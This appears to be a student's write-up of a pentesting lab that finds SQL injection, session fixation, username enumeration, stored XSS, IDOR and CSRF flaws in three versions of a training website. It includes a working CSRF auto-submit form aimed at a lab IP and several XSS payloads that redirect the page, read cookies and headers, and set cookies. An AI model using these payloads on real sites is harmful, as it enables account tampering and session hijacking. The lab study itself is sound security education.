Project 8 - Pentesting Live Targets

Time spent: 9 hours spent in total

Objective: Identify vulnerabilities in three different versions of the Globitek website: blue, green, and red.

The six possible exploits are:

  • Username Enumeration
  • Insecure Direct Object Reference (IDOR)
  • SQL Injection (SQLi)
  • Cross-Site Scripting (XSS)
  • Cross-Site Request Forgery (CSRF)
  • Session Hijacking/Fixation

Each version of the site has been given two of the six vulnerabilities. (In other words, all six of the exploits should be assignable to one of the sites.)

Blue

Vulnerability #1: SQL Injection. Reason: Developer forgot to properly sanitize salesperson.php query.

Vulnerability #2: Session Hijacking/Fixation. Reason: Website does not check if user-agent is the same as the one used when first user login, cookie set without HttpOnly and secure flag, and PHPSESSID is not regenerated and is allowed to be a year old.

Green

Vulnerability #1: Username Enumeration. Reason: Developer forgot to keep span tag class the same when username is or is not found, leading to vulnerability.

Vulnerability #2: Cross-Site Scripting. Reason: Detected that Stored XS Script was run in admin feedback panel.

Red

Vulnerability #1: Insecure Direct Object Reference. Reason: Developer forgot to check if object reference request is made public or not. Other two websites properly redirected user to public/territories folder.

Vulnerability #2: Cross-Site Request Forgery. Reason: Developer forgot to check for CSRF token on salesperson edit form submit, check for domain name, and disallow loading responses onto iframes.

Script used:

<head>
  <title>Real Form</title>
  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>

<body onload="document.getElementById('f').submit();">
  <form action="https://104.197.73.39/red/public/staff/salespeople/edit.php?id=5" method="post" id="f" style="display: none;" target="hidden_results">
    <input name="first_name" value="Malcom" type="text">
    <input name="last_name" value="XX" type="text">
    <input name="phone" value="555-101-1080" type="text">
    <input name="email" value="bthepwr@salesperson.com" type="text">
  </form>
  <iframe name="hidden_results" style="display: none;"></iframe>
</body>

</html>

Bonus Objective 2

  • It is possible to redirect a user to another website by entering the following code in the feedback textbox Green's contact form <script>window.location.href = "http://example.com";</script> then submitting.
  • The cookie single cookie, PHPSESSID, used throughout the website, it is set using HttpOnly, which prevents it from being accessed in javascript on modern web browsers, but older browsers (Firefox < 3, IE < 6 SP1) might be still be vulnerable, viewable by using XSS <script>alert(document.cookie);</script> or <script>var xmlhttp = new XMLHttpRequest(); xmlhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { alert(this.getAllResponseHeaders()); } }; xmlhttp.open("GET", “/“, true); xmlhttp.send();</script>.
  • It is possible to set a cookie by using XSS, <script>document.cookie="username=something";</script>, in Green's contact form.
